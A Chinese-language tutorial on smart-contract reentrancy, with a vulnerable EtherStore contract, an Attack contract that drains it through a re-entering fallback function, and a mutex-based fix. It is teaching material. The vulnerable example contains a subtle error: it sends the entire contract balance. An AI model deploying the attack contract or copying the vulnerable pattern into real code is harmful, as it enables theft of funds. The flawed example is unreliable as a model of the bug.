# 重入漏洞
以太坊智能合约的一个显著特点是其能够调用和利用其他外部合约的代码。这些合约通常涉及以太币的处理，可能会向各种外部用户地址发送以太币。调用外部合约或向地址发送以太币的操作需要合约进行外部调用。然而，这些外部调用可能会被攻击者劫持，迫使合约执行进一步的代码（例如通过回退函数），这也包括回调自身，导致代码执行“重新进入”合约。这种攻击曾被用于著名的 DAO 攻击事件。

## 漏洞
当合约将以太币发送到未知地址时，可能会发生“重入”攻击。攻击者可以在回退函数中创建一个恶意代码的合约，然后在外部地址处部署它。因此，当合约向该地址发送以太币时，就会触发恶意代码的执行。通常情况下，恶意代码会在易受攻击的合约上执行一个函数，这个函数会执行开发人员不希望的操作。这种攻击被称为“重入”，因为外部恶意合约重新进入易受攻击合约的代码执行，从而导致不受控制的执行。

## 示例
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
// 允许存款人每周提取 1 个以太币
contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    // 简单的增加发件人的余额
    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    // 允许发件人指定要提取的以太币数量
    // 只有当请求提取金额小于 1 以太币且在上周没有进行过提取时,提取才会成功
    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw, "Insufficient balance");
        // 限制提现金额
        require(_weiToWithdraw <= withdrawalLimit, "Exceeds withdrawal limit");
        // 限制允许提现的时间
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks, "Withdrawal not allowed yet");

        // 使用新的 call 语法，并传递空的 calldata
       (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed");

        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
}

```
### 恶意攻击者
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "./EtherStore.sol"; // 确保路径正确

contract Attack {
    EtherStore public etherStore;

    // 初始化 etherStore 变量
    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }
  
    function pwnEtherStore() public payable {
        // 攻击需要至少 1 个以太
        require(msg.value >= 1 ether, "Insufficient Ether");
        // 调用 EtherStore 的 depositFunds 函数
        etherStore.depositFunds{value: 1 ether}();
        // 开始攻击
        etherStore.withdrawFunds(1 ether);
    }

    function collectEther() public {
        // 将合约中的余额发送给调用者
        payable(msg.sender).transfer(address(this).balance);
    }
    
    // fallback 函数 - 攻击的核心逻辑(重入攻击)
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdrawFunds(1 ether);
        }
    }
}
```

### 修改
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract EtherStore {

    // 初始化互斥锁
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;
    
    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // 限制取款金额
        require(_weiToWithdraw <= withdrawalLimit);
        // 限制取款时间
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
        // 在外部调用前设置互斥锁
        reEntrancyMutex = true;
        payable(msg.sender).transfer(_weiToWithdraw);
        // 在外部调用后释放互斥锁
        reEntrancyMutex = false;
    }
}

```